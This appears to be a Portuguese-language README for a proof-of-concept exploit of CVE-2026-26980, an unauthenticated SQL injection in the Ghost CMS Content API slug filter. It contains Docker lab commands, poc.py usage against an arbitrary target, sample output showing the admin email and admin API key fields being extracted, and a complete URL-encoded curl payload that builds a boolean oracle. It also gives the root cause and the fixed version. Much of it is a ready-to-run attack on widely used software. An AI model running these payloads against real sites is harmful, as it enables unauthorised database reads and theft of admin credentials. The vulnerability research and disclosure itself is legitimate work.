
PoC em Python e laboratório Docker demonstrando injeção SQL não autenticada no filtro slug da Content API do TryGhost Ghost CMS, extraindo valores do banco de dados por meio de um oráculo booleano.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 é uma vulnerabilidade de SQL Injection não autenticada no TryGhost Ghost CMS Content API. O caminho vulnerável é acessível através da lógica pública de tratamento de filtros da Content API quando o ordenamento slug:[...] é processado.
Este PoC constrói um laboratório Ghost 6.19.0 controlado e demonstra como uma requisição pública à Content API pode ser transformada em uma primitiva de leitura de banco de dados baseada em booleanos.
| Produto | Versão Afetada | Versão Corrigida | Tipo de Vulnerabilidade |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
O ambiente de laboratório usa Ghost 6.19.0.
Construa e execute o ambiente vulnerável do Ghost CMS usando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Exemplo:
http://127.0.0.1:9102/
O laboratório executa uma instância real e vulnerável do Ghost 6.19.0 na porta 9102.
A chave da Content API do laboratório é:
EQSTLab299
CVE-2026-26980 : Vulnerabilidade de SQL Injection no TryGhost Ghost CMS Content API
description: Uma vulnerabilidade de SQL injection no TryGhost Ghost CMS anterior à 6.19.1 permite que um atacante não autenticado com acesso a uma chave pública da Content API leia valores arbitrários do banco de dados através do parâmetro de filtro da Content API. O problema ocorre no caminho de ordenamento do filtro slug:[...], onde valores de slug controlados pelo usuário são inseridos em SQL bruto sem a devida vinculação de parâmetros.
As chaves da Ghost Content API são comumente expostas a navegadores por design através de temas, busca, portal ou JavaScript de frontend. Isso significa que o caminho vulnerável pode ser acessível sem autenticação no Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Chave da Content API personalizada opcional:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Exemplo de [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
O PoC público demonstra o impacto de leitura do banco de dados extraindo metadados seguros do laboratório e material de chave da API do Ghost. Ele não imprime a flag do desafio.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
A lógica vulnerável existe no caminho de serialização de entrada da Content API do Ghost para filtros slug:[...]. O Ghost suporta filtros de slug em estilo de lista e preserva a ordem dos slugs solicitados gerando uma expressão ORDER BY CASE.
Em versões vulneráveis, valores de slug controlados pelo usuário são inseridos em um fragmento SQL. Um padrão vulnerável simplificado é:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Como slug é controlado pelo atacante e é inserido na string SQL sem vinculação de parâmetros, um filtro da Content API elaborado pode escapar da comparação pretendida e injetar lógica SQL adicional.
O PoC do laboratório usa duas tags públicas, bacon e chorizo, como um oráculo booleano observável.
bacon é ordenado primeiro.chorizo é ordenado primeiro.Ao repetir este teste com diferentes condições SQL, o PoC pode inferir valores do banco de dados um caractere por vez.
Verificação do oráculo booleano com curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
A causa raiz é a construção insegura de um fragmento SQL ORDER BY CASE a partir de valores de slug controlados pelo usuário. O código vulnerável tenta preservar a ordem de resposta da Content API, mas trata os valores de filtro NQL analisados como texto SQL confiável.
Uma correção robusta deve:
O Ghost corrigiu este problema na 6.19.1 substituindo a interpolação bruta por vinculações de consulta parametrizadas.
Este é um problema CWE-89: Neutralização Imprópria de Elementos Especiais usados em um Comando SQL.
Como a Ghost Content API é intencionalmente pública, esta vulnerabilidade pode permitir que um atacante não autenticado crie uma primitiva de leitura de banco de dados através de um endpoint de conteúdo público. Dependendo do conteúdo e das permissões do banco de dados, um atacante pode ser capaz de:
+-------------------------------------------+
| Atacante Remoto |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Construção SQL insegura da ordem de slug
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Diferença booleana na ordenação das tags
v
+-------------------------------------------+
| Leitura de BD Não Autenticada |
+-------------------------------------------+